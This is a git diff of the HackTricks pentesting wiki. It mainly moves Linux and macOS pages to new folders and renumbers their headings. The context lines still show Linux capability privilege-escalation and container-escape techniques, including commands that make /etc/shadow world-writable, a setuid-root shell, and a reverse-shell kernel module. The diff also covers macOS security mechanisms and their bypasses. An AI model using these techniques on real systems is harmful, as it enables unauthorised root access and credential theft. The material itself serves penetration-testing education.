set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: @@ -384,7 +385,7 @@ Note that one can assign empty capability sets to a program file, and thus it is then **that binary will run as root**. -# CAP\_SYS\_ADMIN +## CAP\_SYS\_ADMIN [**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). `CAP_SYS_ADMIN` is required to perform a range of **administrative operations**, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to **mount devices** or abuse **release\_agent** to escape from the container. @@ -474,7 +475,7 @@ chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` -# CAP\_SYS\_PTRACE +## CAP\_SYS\_PTRACE **This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. @@ -612,7 +613,7 @@ gdb -p 1234 You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). -# CAP\_SYS\_MODULE +## CAP\_SYS\_MODULE [**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the process to load and unload arbitrary kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.\ **This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** @@ -746,7 +747,7 @@ insmod reverse-shell.ko #Launch the reverse shell Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) -# CAP\_DAC\_READ\_SEARCH +## CAP\_DAC\_READ\_SEARCH [**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to **bypass file read, and directory read and execute permissions**. While this was designed to be used for searching or reading files, it also grants the process permission to invoke `open_by_handle_at(2)`. Any process with the capability `CAP_DAC_READ_SEARCH` can use `open_by_handle_at(2)` to gain access to any file, even files outside their mount namespace. The handle passed into `open_by_handle_at(2)` is intended to be an opaque identifier retrieved using `name_to_handle_at(2)`. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit.\ **This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** @@ -956,11 +957,11 @@ int main(int argc,char* argv[] ) I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: {% endhint %} -![](<../../.gitbook/assets/image (407) (1).png>) +![](<../../.gitbook/assets/image (407) (2).png>) **The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) -# CAP\_DAC\_OVERRIDE +## CAP\_DAC\_OVERRIDE **This mean that you can bypass write permission checks on any file, so you can write any file.** @@ -1150,7 +1151,7 @@ In order to scape the docker container you could **download** the files `/etc/sh **The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) -# CAP\_CHOWN +## CAP\_CHOWN **This means that it's possible to change the ownership of any file.** @@ -1168,7 +1169,7 @@ Or with the **`ruby`** binary having this capability: ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` -# CAP\_FOWNER +## CAP\_FOWNER **This means that it's possible to change the permission of any file.** @@ -1180,7 +1181,7 @@ If python has this capability you can modify the permissions of the shadow file, python -c 'import os;os.chmod("/etc/shadow",0666) ``` -## CAP\_SETUID +### CAP\_SETUID **This means that it's possible to set the effective user id of the created process.** @@ -1205,7 +1206,7 @@ os.setuid(0) os.system("/bin/bash") ``` -# CAP\_SETGID +## CAP\_SETGID **This means that it's possible to set the effective group id of the created process.** @@ -1240,7 +1241,7 @@ cat /etc/shadow If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). -# CAP\_SETFCAP +## CAP\_SETFCAP **This means that it's possible to set capabilities on files and processes** @@ -1318,13 +1319,13 @@ However, Docker also grants the **CAP\_SETPCAP** by default, so you might be abl However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**. -# CAP\_SYS\_RAWIO +## CAP\_SYS\_RAWIO [**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. This can be useful for **privilege escalation** and **Docker breakout.** -# CAP\_KILL +## CAP\_KILL **This means that it's possible to kill any process.** @@ -1353,7 +1354,7 @@ kill -s SIGUSR1 [electron-cef-chromium-debugger-abuse.md](electron-cef-chromium-debugger-abuse.md) {% endcontent-ref %} -# CAP\_NET\_BIND\_SERVICE +## CAP\_NET\_BIND\_SERVICE **This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. @@ -1385,7 +1386,7 @@ s.connect(('10.10.10.10',500)) {% endtab %} {% endtabs %} -# CAP\_NET\_RAW +## CAP\_NET\_RAW [**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to be able to **create RAW and PACKET socket types** for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or **compromised container** to **spoof** **packets** at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container. @@ -1450,7 +1451,7 @@ while True: count=count+1 ``` -# CAP\_NET\_ADMIN + CAP\_NET\_RAW +## CAP\_NET\_ADMIN + CAP\_NET\_RAW [**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the capability holder to **modify the exposed network namespaces' firewall, routing tables, socket permissions**, network interface configuration and other related settings on exposed network interfaces. This also provides the ability to **enable promiscuous mode** for the attached network interfaces and potentially sniff across namespaces. @@ -1470,7 +1471,7 @@ import iptc iptc.easy.flush_table('filter') ``` -# CAP\_LINUX\_IMMUTABLE +## CAP\_LINUX\_IMMUTABLE **This means that it's possible modify inode attributes.** You cannot escalate privileges directly with this capability. @@ -1510,20 +1511,20 @@ sudo chattr -i file.txt ``` {% endhint %} -# CAP\_SYS\_CHROOT +## CAP\_SYS\_CHROOT [**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permits the use of the `chroot(2)` system call. This may allow escaping of any `chroot(2)` environment, using known weaknesses and escapes: * [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf) * [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) -# CAP\_SYS\_BOOT +## CAP\_SYS\_BOOT [**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use the `reboot(2)` syscall. It also allows for executing an arbitrary **reboot command** via `LINUX_REBOOT_CMD_RESTART2`, implemented for some specific hardware platforms. This capability also permits use of the `kexec_load(2)` system call, which loads a new crash kernel and as of Linux 3.17, the `kexec_file_load(2)` which also will load signed kernels. -# CAP\_SYSLOG +## CAP\_SYSLOG [CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) was finally forked in Linux 2.6.37 from the `CAP_SYS_ADMIN` catchall, this capability allows the process to use the `syslog(2)` system call. This also allows the process to view kernel addresses exposed via `/proc` and other interfaces when `/proc/sys/kernel/kptr_restrict` is set to 1. @@ -1531,7 +1532,7 @@ The `kptr_restrict` sysctl setting was introduced in 2.6.38, and determines if k In addition, this capability also allows the process to view `dmesg` output, if the `dmesg_restrict` setting is 1. Finally, the `CAP_SYS_ADMIN` capability is still permitted to perform `syslog` operations itself for historical reasons. -# References +## References **Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. diff --git a/linux-unix/privilege-escalation/logstash.md b/linux-hardening/privilege-escalation/logstash.md similarity index 100% rename from linux-unix/privilege-escalation/logstash.md rename to linux-hardening/privilege-escalation/logstash.md diff --git a/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md similarity index 100% rename from linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md rename to linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md diff --git a/linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md b/linux-hardening/privilege-escalation/pam-pluggable-authentication-modules.md similarity index 100% rename from linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md rename to linux-hardening/privilege-escalation/pam-pluggable-authentication-modules.md diff --git a/linux-unix/privilege-escalation/payloads-to-execute.md b/linux-hardening/privilege-escalation/payloads-to-execute.md similarity index 100% rename from linux-unix/privilege-escalation/payloads-to-execute.md rename to linux-hardening/privilege-escalation/payloads-to-execute.md diff --git a/linux-unix/privilege-escalation/runc-privilege-escalation.md b/linux-hardening/privilege-escalation/runc-privilege-escalation.md similarity index 93% rename from linux-unix/privilege-escalation/runc-privilege-escalation.md rename to linux-hardening/privilege-escalation/runc-privilege-escalation.md index e1d9a52b..32515c56 100644 --- a/linux-unix/privilege-escalation/runc-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,4 +1,4 @@ - +# RunC Privilege Escalation
@@ -16,16 +16,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic information +## Basic information If you want to learn more about **runc** check the following page: -{% content-ref url="../../pentesting/2375-pentesting-docker.md" %} -[2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md) +{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} +[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md) {% endcontent-ref %} -# PE +## PE If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. @@ -57,10 +56,6 @@ runc run demo This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. {% endhint %} - - - -
Support HackTricks and get benefits! @@ -76,5 +71,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/linux-unix/privilege-escalation/selinux.md b/linux-hardening/privilege-escalation/selinux.md similarity index 100% rename from linux-unix/privilege-escalation/selinux.md rename to linux-hardening/privilege-escalation/selinux.md diff --git a/linux-unix/privilege-escalation/socket-command-injection.md b/linux-hardening/privilege-escalation/socket-command-injection.md similarity index 100% rename from linux-unix/privilege-escalation/socket-command-injection.md rename to linux-hardening/privilege-escalation/socket-command-injection.md diff --git a/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md b/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md similarity index 100% rename from linux-unix/privilege-escalation/splunk-lpe-and-persistence.md rename to linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md diff --git a/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md b/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md similarity index 100% rename from linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md rename to linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md diff --git a/linux-unix/privilege-escalation/wildcards-spare-tricks.md b/linux-hardening/privilege-escalation/wildcards-spare-tricks.md similarity index 100% rename from linux-unix/privilege-escalation/wildcards-spare-tricks.md rename to linux-hardening/privilege-escalation/wildcards-spare-tricks.md diff --git a/linux-unix/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md similarity index 100% rename from linux-unix/useful-linux-commands/README.md rename to linux-hardening/useful-linux-commands/README.md diff --git a/linux-unix/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md similarity index 100% rename from linux-unix/useful-linux-commands/bypass-bash-restrictions.md rename to linux-hardening/useful-linux-commands/bypass-bash-restrictions.md diff --git a/macos/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md similarity index 94% rename from macos/macos-security-and-privilege-escalation/README.md rename to macos-hardening/macos-security-and-privilege-escalation/README.md index 3bec12d0..770a3745 100644 --- a/macos/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,4 +1,4 @@ - +# MacOS Security & Privilege Escalation
@@ -16,31 +16,29 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- {% hint style="warning" %} **Support HackTricks and get benefits!** -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** {% endhint %} First of all, please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: -{% content-ref url="../../linux-unix/privilege-escalation/" %} -[privilege-escalation](../../linux-unix/privilege-escalation/) +{% content-ref url="../../linux-hardening/privilege-escalation/" %} +[privilege-escalation](../../linux-hardening/privilege-escalation/) {% endcontent-ref %} -# Basic MacOS +## Basic MacOS -## OS X Specific Extensions +### OS X Specific Extensions * **`.dmg`**: Apple Disk Image files are very frequent for installers. * **`.kext`**: It must follow a specific structure and it's the OS X version of a driver. @@ -49,11 +47,11 @@ First of all, please note that **most of the tricks about privilege escalation a * `defaults read config.plist` * `/usr/libexec/PlistBuddy -c print config.plsit` * `plutil -p config.plist` -* **`.app`**: Apple applications that follows directory structure. +* **`.app`**: Apple applications that follows directory structure. * **`.dylib`**: Dynamic libraries (like Windows DLL files) * **`.pkg`**: Are the same as xar (eXtensible Archive format). The installer command can be use to install the contents of these files. -## File hierarchy layout +### File hierarchy layout * **/Applications**: The installed apps should be here. All the users will be able to access them. * **/bin**: Command line binaries @@ -69,15 +67,15 @@ First of all, please note that **most of the tricks about privilege escalation a * **/usr**: Config and system binaries * **/var**: Log files * **/Volumes**: The mounted drives will apear here. -* **/.vol**: Running `stat a.txt` you obtain something like `16777223 7545753 -rw-r--r-- 1 username wheel ...` where the first number is the id number of the volume where the file exists and the second one is the inode number. You can access the content of this file through /.vol/ with that information running `cat /.vol/16777223/7545753` +* **/.vol**: Running `stat a.txt` you obtain something like `16777223 7545753 -rw-r--r-- 1 username wheel ...` where the first number is the id number of the volume where the file exists and the second one is the inode number. You can access the content of this file through /.vol/ with that information running `cat /.vol/16777223/7545753` -## Special MacOS files and folders +### Special MacOS files and folders * **`.DS_Store`**: This file is on each directory, it saves the attributes and customisations of the directory. * **`.Spotlight-V100`**: This folder appears on the root directory of every volume on the system. * **`.metadata_never_index`**: If this file is at the root of a volume Spotlight won't index that volume. * **`.noindex`**: Files and folder with this extension won't be indexed by Spotlight. -* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV`**2: Contains information about downloaded files, like the URL from where they were downloaded. +* \*\*`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV`\*\*2: Contains information about downloaded files, like the URL from where they were downloaded. * **`/var/log/system.log`**: Main log of OSX systems. com.apple.syslogd.plist is responsible for the execution of syslogging (you can check if it's disabled looking for "com.apple.syslogd" in `launchctl list`. * **`/private/var/log/asl/*.asl`**: These are the Apple System Logs which may contain interesting information. * **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Stores recently accessed files and applications through "Finder". @@ -87,9 +85,9 @@ First of all, please note that **most of the tricks about privilege escalation a * **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: List of daemons deactivated. * **`/private/etc/kcpassword`**: If autologin is enabled this file will contain the users login password XORed with a key. -## Common users +### Common users -* **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": +* **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": ```bash _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs @@ -99,14 +97,14 @@ First of all, please note that **most of the tricks about privilege escalation a * **Nobody**: Processes are executed with this user when minimal permissions are required * **Root** -## User Privileges +### User Privileges * **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. * **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. * **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). * For example root won't be able to place a file inside `/System` -## **File ACLs** +### **File ACLs** When the file contains ACLs you will **find a "+" when listing the permissions like in**: @@ -129,7 +127,7 @@ You can find **all the files with ACLs** with (this is veeery slow): ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` -## Resource Forks or MacOS ADS +### Resource Forks or MacOS ADS This is a way to obtain **Alternate Data Streams in MacOS** machines. You can save content inside an extended attribute called **com.apple.ResourceFork** inside a file by saving it in **file/..namedfork/rsrc**. @@ -150,7 +148,7 @@ You can **find all the files containing this extended attribute** with: find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" ``` -## Risk Files Mac OS +### Risk Files Mac OS The files `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` contains the risk associated to files depending on the file extension. @@ -161,7 +159,7 @@ The possible categories include the following: * **LSRiskCategoryUnsafeExecutable**: **Triggers** a **warning** “This file is an application...” * **LSRiskCategoryMayContainUnsafeExecutable**: This is for things like archives that contain an executable. It **triggers a warning unless Safari can determine all the contents are safe or neutral**. -## Remote Access Services +### Remote Access Services You can enable/disable these services in "System Preferences" --> Sharing @@ -182,51 +180,51 @@ bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` -## MacOS Architecture +### MacOS Architecture {% content-ref url="mac-os-architecture.md" %} [mac-os-architecture.md](mac-os-architecture.md) {% endcontent-ref %} -## MacOS Serial Number +### MacOS Serial Number {% content-ref url="macos-serial-number.md" %} [macos-serial-number.md](macos-serial-number.md) {% endcontent-ref %} -## MacOS MDM +### MacOS MDM {% content-ref url="macos-mdm/" %} [macos-mdm](macos-mdm/) {% endcontent-ref %} -## MacOS Protocols +### MacOS Protocols {% content-ref url="macos-protocols.md" %} [macos-protocols.md](macos-protocols.md) {% endcontent-ref %} -## MacOS - Inspecting, Debugging and Fuzzing +### MacOS - Inspecting, Debugging and Fuzzing {% content-ref url="macos-apps-inspecting-debugging-and-fuzzing.md" %} [macos-apps-inspecting-debugging-and-fuzzing.md](macos-apps-inspecting-debugging-and-fuzzing.md) {% endcontent-ref %} -# MacOS Security Mechanisms +## MacOS Security Mechanisms -## Gatekeeper +### Gatekeeper [**In this talk**](https://www.youtube.com/watch?v=T5xfL9tEg44) Jeremy Brown talks about this protections and a bug that allowed to bypass them. _**Gatekeeper**_ is designed to ensure that, by default, **only trusted software runs on a user’s Mac**. Gatekeeper is used when a user **downloads** and **opens** an app, a plug-in or an installer package from outside the App Store. Gatekeeper verifies that the software is **signed by** an **identified developer**, is **notarised** by Apple to be **free of known malicious content**, and **hasn’t been altered**. Gatekeeper also **requests user approval** before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file. -## Notarizing +### Notarizing In order for an **app to be notarised by Apple**, the developer needs to send the app for review. Notarization is **not App Review**. The Apple notary service is an **automated system** that **scans your software for malicious content**, checks for code-signing issues, and returns the results to you quickly. If there are no issues, the notary service generates a ticket for you to staple to your software; the notary service also **publishes that ticket online where Gatekeeper can find it**. When the user first installs or runs your software, the presence of a ticket (either online or attached to the executable) **tells Gatekeeper that Apple notarized the software**. **Gatekeeper then places descriptive information in the initial launch dialog** indicating that Apple has already checked for malicious content. -## File Quarantine +### File Quarantine Gatekeeper builds upon **File Quarantine.**\ Upon download of an application, a particular **extended file attribute** ("quarantine flag") can be **added** to the **downloaded** **file**. This attribute **is added by the application that downloads the file**, such as a **web** **browser** or email client, but is not usually added by others like common BitTorrent client software.\ @@ -287,7 +285,7 @@ And find all the quarantined files with: find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" ``` -## XProtect +### XProtect **X-Protect** is also part of Gatekeeper. **It's Apple’s built in malware scanner.** It keeps track of known malware hashes and patterns.\ You can get information about the latest XProtect update running: @@ -296,15 +294,15 @@ You can get information about the latest XProtect update running: system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 ``` -## MRT: Malware Removal Tool +### MRT: Malware Removal Tool Should malware make its way onto a Mac, macOS also includes technology to remediate infections. The _Malware Removal Tool (MRT)_ is an engine in macOS that remediates infections based on updates automatically delivered from Apple (as part of automatic updates of system data files and security updates). **MRT removes malware upon receiving updated information** and it continues to check for infections on restart and login. MRT doesn’t automatically reboot the Mac. (From [here](https://support.apple.com/en-gb/guide/security/sec469d47bd8/web#:\~:text=The%20Malware%20Removal%20Tool%20\(MRT,data%20files%20and%20security%20updates\).)) -## Automatic Security Updates +### Automatic Security Updates Apple issues the **updates for XProtect and MRT automatically** based on the latest threat intelligence available. By default, macOS checks for these updates **daily**. Notarisation updates are distributed using CloudKit sync and are much more frequent. -## TCC +### TCC **TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more. @@ -332,7 +330,7 @@ Unprotected directories: * $HOME/.ssh, $HOME/.aws, etc * /tmp -### Bypasses +#### Bypasses By default an access via **SSH** will have **"Full Disk Access"**. In order to disable this you need to have it listed but disabled (removing it from the list won't remove those privileges): @@ -342,7 +340,7 @@ Here you can find examples of how some **malwares have been able to bypass this * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) -## Seatbelt Sandbox +### Seatbelt Sandbox MacOS Sandbox works with the kernel extension Seatbelt. It makes applications run inside the sandbox **need to request access to resources outside of the limited sandbox**. This helps to ensure that **the application will be accessing only expected resources** and if it wants to access anything else it will need to ask for permissions to the user. @@ -363,7 +361,7 @@ Bypasses examples: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) * [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (they are able to write files outside the sandbox whose name starts with `~$`). -## SIP - System Integrity Protection +### SIP - System Integrity Protection This protection was enabled to **help keep root level malware from taking over certain parts** of the operating system. Although this means **applying limitations to the root user** many find it to be worthwhile trade off.\ The most notable of these limitations are that **users can no longer create, modify, or delete files inside** of the following four directories in general: @@ -399,7 +397,7 @@ ls -lO /System/Library/LaunchDaemons/com.apple.UpdateSettings.plist -rw-r--r--@ 1 root wheel restricted,compressed 412 1 Jan 2020 /System/Library/LaunchDaemons/com.apple.UpdateSettings.plist ``` -**SIP** handles a number of **other limitations as well**. Like it **doesn't allows for the loading of unsigned kexts**. SIP is also responsible for **ensuring** that no OS X **system processes are debugged**. This also means that Apple put a stop to dtrace inspecting system processes. +**SIP** handles a number of **other limitations as well**. Like it **doesn't allows for the loading of unsigned kexts**. SIP is also responsible for **ensuring** that no OS X **system processes are debugged**. This also means that Apple put a stop to dtrace inspecting system processes. Check if SIP is enabled with: @@ -408,7 +406,7 @@ csrutil status System Integrity Protection status: enabled. ``` -If you want to **disable** **it**, you need to put the computer in recovery mode (start it pressing command+R) and execute: `csrutil disable` \ +If you want to **disable** **it**, you need to put the computer in recovery mode (start it pressing command+R) and execute: `csrutil disable`\ You can also maintain it **enable but without debugging protections** doing: ```bash @@ -419,7 +417,7 @@ For more **information about SIP** read the following response: [https://apple.s This post about a **SIP bypass vulnerability** is also very interesting: [https://www.microsoft.com/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/](https://www.microsoft.com/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) -## Apple Binary Signatures +### Apple Binary Signatures When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** @@ -434,7 +432,7 @@ codesign --verify --verbose /Applications/Safari.app spctl --assess --verbose /Applications/Safari.app ``` -# Installed Software & Services +## Installed Software & Services Check for **suspicious** applications installed and **privileges** over the.installed resources: @@ -445,7 +443,7 @@ lsappinfo list #Installed Apps launchtl list #Services ``` -# User Processes +## User Processes ```bash # will print all the running services under that particular user domain. @@ -458,11 +456,11 @@ launchctl print system launchctl print gui//com.company.launchagent.label ``` -# Auto Start Extensibility Point (ASEP) +## Auto Start Extensibility Point (ASEP) An **ASEP** is a location on the system that could lead to the **execution** of a binary **without** **user** **interaction**. The main ones used in OS X take the form of plists. -## Launchd +### Launchd **`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: @@ -513,7 +511,7 @@ List all the agents and daemons loaded by the current user: launchctl list ``` -## Cron +### Cron List the cron jobs of the **current user** with: @@ -531,7 +529,7 @@ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic 